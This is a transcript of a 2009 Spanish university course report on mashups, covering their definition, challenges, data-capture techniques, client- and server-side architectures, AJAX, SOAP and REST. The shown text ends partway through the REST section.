aspectos avanzados de los mashups

45
ASPECTOS AVANZADOS DE LOS MASHUPS 06/12/2009 Universidad de Vigo. Máster en Ingeniería Telemática. Asignatura: Redes Sociales y Web 2.0. Curso: 2009/10 Autores: Álvaro Hernando Salazar Victoria Juan José Puello Fuentes Natalia Alonso Fontela José Luis Vidal Fariña.

Upload: lasherone

Post on 01-Jul-2015

1.385 views

Category:

Documents


6 download

DESCRIPTION

Documento sobre aspectos de los mashups

TRANSCRIPT

Page 1: Aspectos Avanzados De Los Mashups

ASPECTOS AVANZADOS

DE LOS MASHUPS

06/12/2009 Universidad de Vigo. Máster en Ingeniería Telemática.

Asignatura: Redes Sociales y Web 2.0. Curso: 2009/10 Autores:

• Álvaro Hernando Salazar Victoria • Juan José Puello Fuentes • Natalia Alonso Fontela • José Luis Vidal Fariña.

Page 2: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 1

Aspectos avanzados de los Mashups R E D E S S O C I A L E S Y W E B 2 . 0 .

1. INTRODUCCIÓN. .......................................................................................................... 3 1.1 Definición ............................................................................................................................................ 3 1.2 Clasificación de los mashups. .......................................................................................................... 5 1.2.1. Basados en el cliente ................................................................................................................ 5 1.2.2. Basados en el servidor ............................................................................................................. 5

1.3 Retos. ................................................................................................................................................... 5 1.3.1. Retos Técnicos. ............................................................................................................................ 5 1.3.2. Retos Sociales. ............................................................................................................................ 5

2. EVOLUCIÓN TECNOLÓGICA. .......................................................................................... 6

3. TECNOLOGÍAS INVOLUCRADAS. ................................................................................ 7 3.1. Tecnologías de captura de información ...................................................................................... 8 3.1.1. Datos locales ......................................................................................................................... 8 3.1.2. Servicios Web ....................................................................................................................... 8 3.1.3. Screen scraping .................................................................................................................... 9 3.1.4. Sindicación RSS y ATOM ................................................................................................. 10

3.2. Tecnologías de desarrollo. .......................................................................................................... 10 3.2.1. Mashups basados en el lado cliente. .................................................................................. 10 3.2.2. Mashups basados en el lado servidor. ............................................................................... 13 3.2.3. Plataformas de desarrollo de mashups. ............................................................................ 18 3.2.4. Constructores de mashups. .................................................................................................... 19

3.3. APIs utilizadas. ............................................................................................................................... 20 3.3.1. API Google Maps ................................................................................................................... 21 3.3.2. API Flickr ................................................................................................................................... 22 3.3.3. API Youtube ............................................................................................................................. 22 3.3.4. API Amazon .............................................................................................................................. 23 3.3.5. API Twitter ................................................................................................................................ 24 3.3.6. API Ebay ................................................................................................................................... 24 3.3.7. API Virtual Earth Interactive .................................................................................................. 25 3.3.8. API del.icio.us ........................................................................................................................... 26 3.3.9. Api Ajax de Google .............................................................................................................. 26 3.3.10. API Yahoo Maps ................................................................................................................... 27

4. RIESGOS TECNOLÓGICOS. ............................................................................................ 29

4.1. Ataques Cross-Site-Scripting (XSS). ........................................................................................... 29 4.1.1. XSS Reflejado (o Indirecto). .................................................................................................. 30 4.1.2. XSS Persistente (o Directo). ................................................................................................... 30

Page 3: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 2

4.2. Ataques Cross-Site-Request-Forgery (CSRF ó XSRF). ............................................................ 30 4.3. Ataques JSON. .............................................................................................................................. 31 4.4. Ataques de iframe. ....................................................................................................................... 32 4.5. Ataques de sesión. ........................................................................................................................ 32 4.6. Otras medidas de prevención de vulnerabilidades. ............................................................. 32 4.7. Protocolo MashSSL. ....................................................................................................................... 33 4.8. Protocolo OAuth. ........................................................................................................................... 34 4.8. Herramientas de detección de vulnerabilidades. ................................................................... 34

5. MASHUPS EN ENTORNOS MULTIPLATAFORMA ........................................................... 34 5.1. Restricciones y valor añadido en entornos móviles ............................................................. 34 5.2. Retos ............................................................................................................................................. 34 5.2.1. Ingeniería e investigación ................................................................................................ 34 5.2.2. Sociales, legales y políticos ............................................................................................. 35

6. LA PERSONALIZACIÓN Y LOS MASHUPS ..................................................................... 35

7. MASHUPS RELEVANTES EN LA ACTUALIDAD ............................................................... 36 7.1. Los Mapas ...................................................................................................................................... 37 7.1.1. Panoramio ................................................................................................................................ 37 7.1.2. Wikiloc ...................................................................................................................................... 37

7.2. Los Videos y Fotos ......................................................................................................................... 38 7.2.1. 4 in 1 search ............................................................................................................................ 38

7.3. Búsqueda y compras (search and shopping). .......................................................................... 38 7.3.1. Liveplasma ............................................................................................................................... 39

7.4. Noticias............................................................................................................................................ 39 7.4.1. Celebrity pictures, videos and news ................................................................................... 39

8. PROPUESTAS PARA NUEVOS MASHUPS ................................................................... 40

9. TENDENCIAS FUTURAS. ................................................................................................ 41

10. VALORACIÓN. ............................................................................................................ 41

11. REFERENCIAS. ............................................................................................................. 43

Page 4: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 3

1. INTRODUCCIÓN.

1.1 Definición

Los mashups son aplicaciones que utilizan “datos” o “funcionalidades” de más de una fuente, combinándolos, para crear así un nuevo servicio. Por lo general el contenido de un mashup es obtenido por medio de interfaces públicas de terceros o por medio de APIS.

Cuando las empresas de internet empezaron a publicar APIs e interfaces para utilizar sus servicios, los usuarios de dichos servicios no solamente empezaron a utilizar los servicios de una única compañía, sino que empezaron a mezclarlos, formando así los mashups.

Para aclarar lo anterior, supóngase que un usuario de una compañía, requiere de información diversa que no está en un único sitio, algunos están dentro de la compañía, y otros están por fuera de ella, en sitios web de terceros. Para este usuario, los mashups vienen a resolver dicha problemática:

• Los datos en la web están diseminados en cualquier parte • Los datos no están integrados • Los datos son tanto internos como externos

La idea es que los mismos usuarios puedan hacer sus propios mashups, utilizando tecnologías adecuadas que no requieran de destreza en programación. Estos mashups pueden ser compartidos con otros usuarios, y pueden servir para generar otros mashups.

Entre las propiedades de los mashups tenemos1:

• Agregan contenido desde más de una fuente: APIs, Screen Scraping ,scrAPIs, Datos locales, Datos provistos por los mismos usuarios

• Ligero esfuerzo de programación • Interactividad • Composición ad-hoc • Rápido crecimiento

1 Esteban Saavedra López. Mashups Aplicaciones hacia el Enterprise 2.0. II Foro Latinoamericano de Informática y Sistemas. 2009

Page 5: Aspectos Avanzados De Los Mashups

En la figura que sigue, se muestran algunos elementos que hacen parte del ecosistema en el cual sedesempeñan los mashups.

El sitio http://programmableweb.compresenta las categorías y la cantidad de mashups por cada categoría, registrados en esede noviembre de 2009.

FIGURA 2. MASHUPS REGISTRADO

2 Imagen tomada de: http://parth.files.wordpress.com/2007/05/mashupecosystem.jpg

viajes; 395

social; 368

musica; 306

noticias; 294

mensajeria; 251

deportes; 219

casas; 207

moviles; 197

widgets; 191microblogs; 171

visualizacion; 159

Aspectos avanzados de los Mashups

En la figura que sigue, se muestran algunos elementos que hacen parte del ecosistema en el cual se

FIGURA 1. ECOSISTEMA DE LOS MASHUPS2

http://programmableweb.com ha categorizado los mashups por su función. A continuación se presenta las categorías y la cantidad de mashups por cada categoría, registrados en ese

. MASHUPS REGISTRADOS POR CATEGORÍAS EN PROGRAMMABLEWEB.COM

http://parth.files.wordpress.com/2007/05/mashupecosystem.jpg

mapas; 2114

compras; 568

video; 508busqueda; 505

viajes; 395

microblogs; 171

visualizacion; 159UK; 146

marcadores; 135referencia;

130eventos; 125

Aspectos avanzados de los Mashups

Página 4

En la figura que sigue, se muestran algunos elementos que hacen parte del ecosistema en el cual se

ha categorizado los mashups por su función. A continuación se presenta las categorías y la cantidad de mashups por cada categoría, registrados en ese sitio, al 30

PROGRAMMABLEWEB.COM

http://parth.files.wordpress.com/2007/05/mashupecosystem.jpg

mapas; 2114

fotos; 615

compras; 568

Page 6: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 5

1.2 Clasificación de los mashups.

1.2.1. Basados en el cliente

Los mashups basados en cliente están enfocados a su ejecución sobre el navegador y no sobre el servidor. Es decir, gran parte de las tareas son realizadas sobre la misma máquina del cliente.

1.2.2. Basados en el servidor

Los mashups basados en el servidor son aplicaciones que realizan tanto la integración como la gestión de la información en ambos lados: del servidor y del cliente. Se recomienda utilizarlo en aplicaciones que requieran la interacción de información proveniente de diferentes sistemas para generar informes que puedan ayudar en la toma de decisiones.

1.3 Retos.

1.3.1. Retos Técnicos.

Uno de los retos planteados por (1) es que los mashups están evolucionando hacia componentes que son una mezcla de aspectos relacionados con las interfaces de usuario y aspectos relacionados con la lógica de aplicación tradicional, por lo que hay que identificar los modelos de composición y de componentes adecuados para ambos aspectos. El primer aspecto es más orientado al usuario, es decir orientado a eventos, ya que el usuario genera eventos para obtener respuestas del sistema. Mientras que el segundo aspecto es mas orquestacional y orientado a la empresa.

1.3.2. Retos Sociales.

Un reto planteado por (2) (donde se propone la solución Web2ID), es que los mashups no son utilizados ampliamente en aplicaciones web sensibles, tales como bancarias, inversiones, compras y pagos en línea. En estos casos, el usuario debe identificarse individualmente a cada una de estas aplicaciones. Por ejemplo, si un mashup está utilizando un banco y a su vez está realizando una compra de acciones, el usuario deberá identificarse a ambas aplicaciones que está usando el mashup que integra ambas.

La protección de la privacidad del consumidor es un reto social que hay que asumir, así como la protección de la propiedad intelectual.

El uso de mashups con información en formas que el proveedor desaprueba es otro de los aspectos a tener en cuenta.

La comunidad deberá trabajar unida para crear estándares abiertos y toolkits, para facilitar la madurez del proceso de desarrollo del software. Ya que los mashups están en evolución, se deben crear estándares robustos, protocolos, modelos, y toolkits; esto antes de que los mashups evolucionen más.

Los proveedores de las API deberán determinar si cobrar por el uso de su contenido, y como sería la forma de pago.

Page 7: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 6

2. EVOLUCIÓN TECNOLÓGICA.

Las tecnologías API de la Web 1.0 eran propietarias y comúnmente construidas con estándares que eran basados en los PC y que no contenían plugins amigables para la web, como son interfaces y librerías de vínculos dinámicos DLLs. Estas APIs, frecuentemente eran empaquetadas en kits de desarrollo de software SDKs, los cuales mantenían a los programadores inmersos e invirtiendo en el dominio de las APIs del distribuidor.

Con la llegada de la Web 2.0 se representa el modelo de negocio construido a partir de evolución de la Web 1.0, con lo que algunas compañías emergieron con diferentes perspectivas de cómo aprovechar el internet. Ese aprovechamiento viene con la apertura de datos, de productos y servicios controlados. Los portales en la Web 2.0 ponen a los consumidores a cargo de sus datos, usando estándares Web que fueron común y ampliamente adoptados por los competidores tradicionales tales como Microsoft, Yahoo, Google, etc.

La creación de nuevos contenidos para los portales modernos está basada en estándares abiertos. En el pasado quedaron los SDKs propietarios los cuales están atados a un distribuidor de plataformas y servicios. Ahora, un programador puede aprovechar el mismo conocimiento técnico fundamental que se usa para desarrollar Google, Yahoo, o Microsoft, porque todas las APIs usan las misma tecnología como son HTML, CSS, JavaScript, etc.

La Web 2.0 se ha expandido de forma extraordinaria durante los últimos años debido a la aparición de una gran variedad de portales Web y APIs para la creación de servicios. Estas herramientas han permitido a los desarrolladores ser capaces de crear fácilmente nuevas tecnologías apoyándose en la composición de servicios y fuentes de datos distribuidos en Internet.

Con la popularidad de AJAX, las empresas experimentaron un aumento de aplicaciones Web que se utiliza en lugar de aplicaciones de escritorio. Con las tendencias de AJAX muchos entraron en el desarrollo Web 2.0, con aplicaciones como redes sociales, y Mashups

FIGURA 3. PROCESO EVOLUTIVO DE TECNOLOGÍAS EN INTERNET HASTA LLEGAR A LOS MASHUPS

Eric Griffin, Foundations of Popfly: Rapid Mashup Development, 2008

Page 8: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 7

3. TECNOLOGÍAS INVOLUCRADAS.

Para la elaboración de mashups, las tecnologías utilizadas son muy numerosas. Detrás de un simple clic desde nuestro navegador web sobre una aplicación mashup, se esconden toda una batería de tecnologías software para requerir datos del proveedor o proveedores involucrados en el mashup, y a continuación presentarlos de nuevo en nuestro navegador.

Desde el punto de vista de su arquitectura, un mashup se compone de tres partes divididas física y lógicamente, las cuales hacen uso de una serie de tecnologías que se citan a continuación:

o APIs de proveedores: Utilizan protocolos web como REST, SOAP, WebServices, RSS/ATOM, o Screen Scraping.

o Aplicación web mashup: Utilizan tecnologías típicas de cualquier aplicación web como Java Servlets, CGI, PHP o ASP. Además, pueden incluir contenido proveniente del navegador web que es embebido directamente en la lógica del mashup, a través de tecnologías como Javascript o Applets. La conjunción de todas estas tecnologías califica a las aplicaciones mashup como aplicaciones RIA (Rich Internet Applications), que se caracterizan por su orientación hacia la prestación de servicios web.

o Navegadores web: Hacen uso de tecnologías para el ensamblaje, composición y presentación de los datos obtenidos de los proveedores de contenido del mashup, al tiempo que se orientan a minimizar el intercambio de información con los servidores de datos, de una manera asíncrona. Utilizan tecnología AJAX, que a su vez es un compendio de otras tecnologías como XHTML, CSS, DOM, JSON, XML o Javascript.

Veamos a continuación un esquema donde se reflejan las principales tecnologías utilizadas por los mashups:

FIGURA 4. ANATOMÍA DE UN MASHUP (FUENTE: REMIXTHEORY.NET)

Page 9: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 8

Desde el punto de vista funcional, podemos agrupar las tecnologías utilizadas según la siguiente clasificación, y que son expuestas con detalle en los siguientes tres apartados.

o Tecnologías de captura de información. o Tecnologías de desarrollo de los mashups. o Tecnologías de las APIs utilizadas en los mashups.

3.1. Tecnologías de captura de información

Como podemos ver en la figura 5 los mashups combinan datos de diferentes fuentes. Podemos clasificar estas fuentes de datos en tres categorías básicas (3):

• Fuentes de datos online que no podemos controlar y que no son accesibles públicamente como las APIs de eBAy, Flickr o Google

• Datos propios que podemos controlar como pueden ser datos almacenados localmente en bases de datos, ficheros XML, CVS (comma-separated values), texto plano, etc.

• Datos que no podemos controlar pero que son públicamente accesibles como los sitios web o los canales RSS.

Dependiendo del tipo de fuente a la que queramos acceder emplearemos unas tecnologías de

captura de información u otras. En el caso de acceder a datos de terceros es posible que estos nos faciliten el acceso a través de un Servicio Web, una API o RSS/Atom. Pero habitualmente se deseará acceder a datos publicados en webs que no fueron ideadas para proveer de datos a los mashups, en ese caso podemos recurrir a la técnica conocida como “screen scraping”.

3.1.1. Datos locales Los mashup no sólo se nutren de datos de terceros sino que también podemos mostrar datos almacenados localmente. Los datos pueden estar almacenados en bases de datos, ficheros XML, CSV, etc. Normalmente, el modo de acceso a estos datos, se realiza a través de lenguajes de script como PHP o ASP en el servidor que procesarán los datos, siendo incluso habitual programar un Servicio Web o una API para facilitar el consumo de estos datos por parte de los mashups.

3.1.2. Servicios Web Los Servicios Web son una forma estandarizada que permite a una aplicación invocar métodos de otra aplicación remotamente. Estas aplicaciones pueden residir en distintos equipos e incluso estar escritas en distintos lenguajes.

FIGURA 5. CAPTURA DE INFORMACIÓN

Page 10: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 9

FIGURA 6. SCREEN SCRAPING

Los Servicios Web especifican cómo se invocarán los métodos, y como se pasarán los parámetros de entrada y salida.

Numerosos proveedores publican Servicios Web para permitir el acceso a sus datos. Los Servicios Web facilitan el acceso a los datos ya que sólo exigen conocer cómo debemos enviar la petición y cómo nos llegará la respuesta sin importarnos como están almacenados los datos internamente.

3.1.3. Screen scraping

Screen scraping es una técnica que extrae información de una fuente mediante ingeniería inversa.

En general, cuando recurrimos al screen scraping, los sistemas de los que se extrae la información no han sido diseñados para facilitar la extracción de dicha información. Normalmente presentan la información para facilitar su consumo por un humano y no para ser procesada por una aplicación. Por lo tanto se requerirá un análisis y procesado previo de la fuente para obtener los datos.

La fuente de datos pueden ser una página HTML, un documento PDF, un documento de texto, etc., pero en el caso de los mashups la fuente más habitual es una página web como podemos ver en la siguiente figura.

Para consumir los datos de una página web es necesario descargar el contenido HTML y obtener los datos deseados ayudándonos de expresiones regulares u otras funciones que operen con cadenas. Este método no está al alcance de cualquier usuario ya que requiere ciertas nociones de programación pero hay disponibles numerosas herramientas que facilitan esta tarea a cualquier tipo de usuario. Estas herramientas conocidas como “web scrapers” permiten extraer los datos de una web para obtener un “feed” fuente para utilizarlo posteriormente en un mashup.

• Dapper (http://www.dapper.net/dapp-factory.jsp) es una herramienta on-line que permite extraer datos de una web. Se utiliza para obtener un “feed” o canal fuente, datos fuente en formato sindicado RSS, ATOM, etc., desde una página que no tiene “feed”, para utilizarlo posteriormente en un mashup.

• Mozenda (http://www.mozenda.com/screen-scraper) es una herramienta de pago que nos permite extraer datos de otras webs. Esta herramienta permite programar cada cuanto tiempo queremos hacer la extracción, avisarnos cuando ha finalizado con la extracción, recorrer las distintas páginas de listados, etc.

Page 11: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 10

En general, cualquiera de las tecnologías de captura de la información nos hace dependientes del proveedor ya que este puede cambiar en cualquier momento las especificaciones de acceso a su API, el formato de los datos que devuelve, etc. En el caso de webs que han sido diseñadas para proveer datos estos cambios suelen ser más esporádicos y estar documentados pero en los demás sitios web, al no haber sido diseñados para proveer datos, estos cambios pueden ser más habituales con lo que la dependencia del proveedor es aún mayor. Algunos sitios web modifican habitualmente el código de sus páginas para evitar ser víctimas de screen scraping.

Mientras que un “web scraper” puede ser una herramienta práctica, hay cierto debate entre la comunidad web sobre la legalidad y la ética de utilizarlos:

• el copyright puede ser vulnerado cuando se toman extractos de un documento y se presentan en otro formato en otro sitio web.

• los sitios que dependen de la publicidad para generar ingresos tienen problemas cuando sus anuncios son descartados por “web scrapers”.

• algunos sitios ven como páginas que acceden a sus datos aparecen mejor posicionadas en buscadores que ellos.

Como resultado de esto, algunos propietarios de sitios web han comenzado a implementar herramientas que eviten que sus páginas sean accedidas por “web scrapers”

Debido a que cada vez más sitios impiden el acceso a sus datos mediante esta tecnología, ésta es una tecnología en desuso a la que sólo se recurre cuándo no hay otra opción.

3.1.4. Sindicación RSS y ATOM

RSS (del inglés “Rich Site Summary” o “Really Simple Syndication”) es un lenguaje basado en XML, RSS está diseñado para distribuir (o sindicar) noticias contenidas en sitios web. Cada ítem dentro del RSS contiene un enlace al contenido completo de la noticia. Debido a que está basado en XML, es posible utilizarlo como fuente de información en los mashups3.

RDF es la versión 1.0 de RSS, por este motivo algunos sitios web aún lo utilizan.

Atom por el contrario no está basado en RSS pero si en XML, lo que también permite su uso en los mashups. Atom contiene más información y más consistencia que en los RSS.

3.2. Tecnologías de desarrollo.

3.2.1. Mashups basados en el lado cliente4.

Los mashups basados en el lado cliente, prestan un servicio o integran el contenido en el lado del cliente, típicamente en un navegador web. Son aplicaciones que se ejecutan principalmente en el

3 Basado en http://www.microsiervos.com/archivo/internet/que-es-rss-y-xml-rdf-atom.html 4 Basado en http://java.sun.com/developer/technicalArticles/J2EE/mashup_1/

navegadorweb

Mashup(html+javascript)

servicio web

servidor web

servicio web

servicio web

FIGURA 7. MASHUP BASADO EN EL LADO CLIENTE

Page 12: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 11

equipo del cliente. Esto no significa que toda la aplicación se ejecute en una misma máquina, ya que los mashups son aplicaciones distribuidas, es decir se ejecutan en varios nodos de la red. La siguiente figura ilustra el funcionamiento de estos mashups:

logica de aplicacionlado cliente(javascript)

interfaz de usuario

�llamadajavascript

�actualizaciónde interfaz

servidor web

código de aplicación

almacén dedatos

servidor web

navegador del cliente

su sitio websistema lado servidor

otro sitio websistema lado servidor

solicitud HTTP

respuesta HTTP

solicitud HTTP

respuesta HTTP

FIGURA 8. DETALLE DE FUNCIONAMIENTO DE MASHUPS DEL LADO CLIENTE5

(1) El navegador solicita una página al servidor web (2) El servidor envía el mashups lado cliente, que combina HTML con JavaScript y quizás con AJAX. (3) El usuario genera un evento, tal como mover con el mouse, dar clic, etc. Esto provoca una llamada a

una función de JavaScript. (4) La función de JavaScript realiza una petición HTTP a un sitio de mashups. Los datos devueltos (por

ejemplo) llegan en formato JSONP (JSON con Padding). (5) El sitio del mashup procesa la solicitud y retorna la respuesta (6) La función que recibe la respuesta actualiza la vista del cliente ya sea actualizando la propiedad

innerHTML de un elemento en la pagina o manipulando el DOM (Document Object Model) que representa la pagina.

Las razones para utilizar mashups en el lado cliente son:

• Fácil de implementar • No se necesita proveer ningún componente del lado del servidor. • Puede tener mejor rendimiento que uno basado en el servidor • Reduce la carga en el servidor, no se requiere de plugins personalizados.

A continuación se nombran algunas tecnologías que soportan los mashups basados en el lado cliente.

5 Imagen basada en http://java.sun.com/developer/technicalArticles/J2EE/mashup_1/

Page 13: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 12

3.2.1.1. CSS.

Las hojas de estilo en cascada CSS (del inglés “Cascading Style Sheets”) es un lenguaje utilizado para especificar la presentación de un documento en formato HTML o XML. La WC3 es la entidad responsable de la especificación de CSS6.

3.2.1.2. RSS, RDF, ATOM.

(Véase la sección 3.1.4).

3.2.1.3. AJAX.

AJAX es el acrónimo ingles de “Asynchronous JavaScript And XML”. Es una tecnología utilizada para el desarrollo de aplicaciones ricas de internet. AJAX se ejecuta en el navegador del cliente, que permite la comunicación asíncrona con el servidor web7. Es decir, en cualquier momento en que el usuario genere un evento, se realiza un llamado a una función de JavaScript. JavaScript es el encargado de realizar las llamadas de AJAX. En dicha función se tendría un objeto XmlHttpRequest, que en otras palabras, es el objeto AJAX.

XmlHttpRequest, también llamada XMLHTTP (acrónimo ingles de “Extensible Markup Language / Hypertext Transfer Protocol”), es una interfaz que se utiliza para realizar peticiones HTTP y HTTPS donde la información transferida tiene formato XML.8

AJAX realiza solicitudes al servidor web, sin interferir en la interfaz del usuario, esto lo realiza en segundo plano. Cuando dicha información está disponible, no es necesario recargar toda la página, con JavaScript es posible cambiar solo ciertas áreas de la interfaz que requieran ser modificadas.

3.2.1.4. JAVA WEB START Y ADOBE FLASH.

Java Web Start es la implementación JNLP (Java Networking Launching Protocol) de Sun Microsystems. Esta tecnología permite que el usuario acceda a las aplicaciones contenidas en un servidor web para ejecutarlas en la maquina cliente. Se revisa si el usuario tiene la última versión y descarga la actual. Posteriormente se ejecuta la aplicación. Todo este proceso es transparente al usuario9.

Adobe Flash es otra tecnología similar a Java Web Start, esta vez usando el conocido Flash. Estas tecnologías son útiles en la realización de mashups ya que permiten tener aplicaciones robustas sobre el cliente.

3.2.1.5. CAPTCHA.

Es el acrónimo de “Completely Automated Public Turing test to tell Computers and Humans Apart”, que traduce “Prueba de Turing pública y automática para diferenciar máquinas y humanos”10. Esta prueba consiste en deformar un texto, que si bien continua siendo legible por humanos, para las maquinas es difícil de leer.

La aplicación de los Captcha en los mashups, es la de proporcionar seguridad, e impedir que robots, puedan utilizar ciertos servicios, como por ejemplo en votaciones, o encuestas.

6 Basado en http://es.wikipedia.org/wiki/Hojas_de_estilo_en_cascada 7 Basado en http://es.wikipedia.org/wiki/AJAX 8 Basado en http://es.wikipedia.org/wiki/XMLHttpRequest 9 Basado en http://es.wikipedia.org/wiki/Java_Web_Start 10 Basado en http://es.wikipedia.org/wiki/Captcha

Page 14: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 13

FIGURA 9. EJEMPLO DE UN CAPTCHA

3.2.2. Mashups basados en el lado servidor11.

En los mashups basados en el lado servidor se integra el contenido o el servicio en el mismo servidor. A estos mashups también se les conoce como mashups estilo proxy. Estos requieren de lenguajes para aplicaciones web, tales como PHP, Java EE, .NET, etc. Estas aplicaciones reciben las solicitudes del cliente, y procesan dicha solicitud, aun si es necesario realizar solicitudes a otros sitios web, ya que este procesamiento debe ser transparente al cliente. A continuación se muestra una figura que ejemplariza este proceso.

logica de aplicaciónlado cliente(javascript)

y AJAX(XMLHttpRequest)

interfaz de usuario

�llamadajavascript

�actualizaciónde interfaz

servidor web

código de aplicación

almacén dedatos

servidor web

navegador del clientesu sitio web

sistema lado servidor

otro sitio websistema lado servidor

respuesta HTTP

� solicitud HTTP

� solicitud HTTP

� respuesta HTTP

� �

FIGURA 10. DETALLE DE FUNCIONAMIENTO DE UN MASHUP LADO SERVIDOR12

El siguiente guión explica el funcionamiento de un mashup de lado servidor, tal y como lo indica la figura anterior:

(1) El usuario interactúa con la interfaz gráfica y genera un evento, este dispara una llamada a una función JavaScript.

(2) El JavaScript por medio de AJAX, es decir por medio de un objeto XmlHttpRequest, solicita al servidor web los cambios en el contenido.

(3) Dicha solicitud es recibida por un componente, que podría ser un servlet u otro componente. Este componente oculta la forma es que procesa la solicitud.

(4) El componente del servidor web que está procesando la solicitud del cliente realiza a su vez, una solicitud al servidor web de un tercero.

(5) El servidor web del tercero procesa la solicitud y retorna su respuesta al componente del servidor del cliente.

(6) Al terminar el procesamiento, el componente pasa la respuesta al servidor web. (7) El servidor web retorna la respuesta HTTP al script del cliente. (8) El script produce los cambios de información (solo en las áreas necesarias, característica de AJAX y

JavaScript) en la interfaz gráfica del usuario.

11 Basado en http://java.sun.com/developer/technicalArticles/J2EE/mashup_1/ 12 Imagen basada en http://java.sun.com/developer/technicalArticles/J2EE/mashup_1/

Page 15: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 14

Una de las razones para utilizar este tipo de mashups es la seguridad. Los navegadores web son los responsables de mantener la información personal segura. La mayoría de los navegadores permiten que el código JavaScript contenga objetos de tipo XmlHttpRequest (es decir AJAX), pero solamente le permiten intercambiar datos (asincrónicamente) con un solo servidor (al que se llamará el servidor de origen).

Con los mashups del lado servidor este problema deja de considerarse, ya que este modelo no depende de la seguridad del navegador web.

Otras razones para usar los mashups del lado servidor son:

Disponen de muchas librerías en el lado servidor. Actúan como un filtro de datos, otros sitios web podrían retornar gran cantidad de datos, actúa como un búfer de datos.

Puede servir para convertir formatos más apropiados para el navegador, por ejemplo se podría convertir la respuesta a un objeto JSON antes de enviarlo al cliente.

Los navegadores por lo general limitan las llamadas concurrentes de XmlHttpRequest a unas 2 o 3 peticiones. Con los mashups basados en el lado servidor esto no es un problema ya que las peticiones a otros sitios web las realiza el mismo servidor.

3.2.2.1. SERVICIOS WEB: SOAP, REST.

Un servicio web como lo define la WC3 es: “Un sistema de software diseñado para soportar interacción máquina a máquina interoperable sobre una red. Tiene una interfaz descrita en un formato procesable por la máquina (específicamente Web Services Description Language [Lenguaje de Descripción de Servicios Web] WSDL). Otros sistemas interactúan con el servicio web en una manera prescrita por su descripción usando mensajes SOAP, típicamente expresados con HTTP mediante serialización XML en conjunto con otros estándares relacionados con la web.”13 14

Los servicios web son conocidos como APIs Web.

• SOAP

SOAP es el acrónimo de “Simple Object Access Protocol”, o “Protocolo Simple de Acceso a Objeto”. El cual es una especificación de protocolo para el intercambio de información estructurada. SOAP es uno de los modelos utilizados en los servicios web. El formato de mensaje que utiliza SOAP es XML, y para la negociación del mensaje y la transmisión utiliza protocolos de capa de aplicación, entre ellos están RPC y HTTP.

En la siguiente figura se muestra la estructura de un mensaje SOAP.

13 El énfasis es hecho por los autores de este documento 14 Tomado de “Web Services Glossary” en http://www.w3.org/TR/ws-gloss/

Page 16: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 15

SOAP-ENV: Cabecera

SOAP-ENV: Envoltura

SOAP-ENV: Cuerpo

WSDL

XML u otroformato

HTTP u otro protocolo

FIGURA 11. ESTRUCTURA DE UN MENSAJE SOAP15

En la figura siguiente se puede apreciar el funcionamiento de un servicio web basado en SOAP.

FIGURA 12. FUNCIONAMIENTO DE UN SERVICIO WEB BASADO EN SOAP.16

En la figura anterior se puede observar como el usuario primero descubre el servicio por medio del agente de servicio (service broker). La información del servicio (almacenada en un WSDL17) que ha sido ubicada por el cliente (encontrada físicamente en el agente de servicio), se dirige entonces al proveedor de servicio y solicita sus servicios vía SOAP.

El funcionamiento de un servicio web basado en SOAP requiere el estudio de otros elementos tales como WSIL, UDDI, y WSDL.

WSIL18 tiene como función descubrir servicios distribuidos que el registro de negocios UDDI aun no tenga registrado.

Para más información sobre WSIL diríjase a la URL:

http://www-106.ibm.com/developerworks/webservices/library/ws-wsilspec.html

15 Imagen basada en http://www.service-architecture.com/web-services/articles/soap.html 16 Imagen basada en http://en.wikipedia.org/wiki/Web_service#cite_note-0 y en http://publib.boulder.ibm.com/infocenter/rtnlhelp/v6r0m0/index.jsp?topic=/com.ibm.etools.webservice.doc/concepts/cws.html 17 WSDL es el acrónimo ingles de “Web Services Description Language” 18 WSIL es el acrónimo ingles de “Web Services Inspection Language”

SOAP

Proveedor del servicioSolicitante del servicio

Agente del servicio

WDSLWDSL

Descu

bre Publica

Solicita / Responde

Page 17: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 16

UDDI19 es un registro global de negocios que permite compartir información sobre los servicios y cómo interactúan en internet. (Para más información diríjase a la URL http://www.uddi.org).

Es decir, WSIL llega a complementar UDDI, ambos elementos son manejados por el agente de servicios.

La finalidad de WSIL y UDDI es la de referenciar el documento WSDL. WSDL es una especificación de lenguaje abierto basado en XML que describe las interfaces y las instancias de un servicio web.

En la figura siguiente se explica la relación entre SOAP, WSIL, UDDI, y WSDL

UDDI

*W *W

*W

WSIL

*D *D

*W

Solicitante

Cliente

Proveedor

Servicio web

SOAP

HTTP

WSDL

Pub

lica

Des

cubr

e

De

scub

re

*W

*D Referencia a descriptores de servicio

Punteros a documentos WSDL

Se origina de

FIGURA 13. RELACIÓN ENTRE SOAP, WSIL, UDDI, Y WSDL.20

Ventajas de SOAP: Es fácil de consumir, se adhiere a un contrato y existen herramientas de desarrollo apropiadas y especificas

• REST:

La filosofía de los servicios web basados en REST es21:

� No es un estándar � No define formatos � Es una manera de desarrollar servicios web

También en REST se modelan los mensajes, tal y como lo hace CRUD (del inglés: Create, Retrieve, Update and Delete. Que en español es: Crear, Obtener, Actualizar y Leer).

19 UDDI es el acrónimo ingles de “Universal Description, Discovery and Integration” 20 Imagen basada en http://publib.boulder.ibm.com/infocenter/rtnlhelp/v6r0m0/index.jsp?topic=/com.ibm.etools.webservice.doc/concepts/cws.html 21 Tomado de: http://www.slideshare.net/brenes/introduccion-servicios-web

Page 18: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 17

CRUD HTTP CREATE PUT RETRIEVE GET UPDATE POST DELETE DELETE

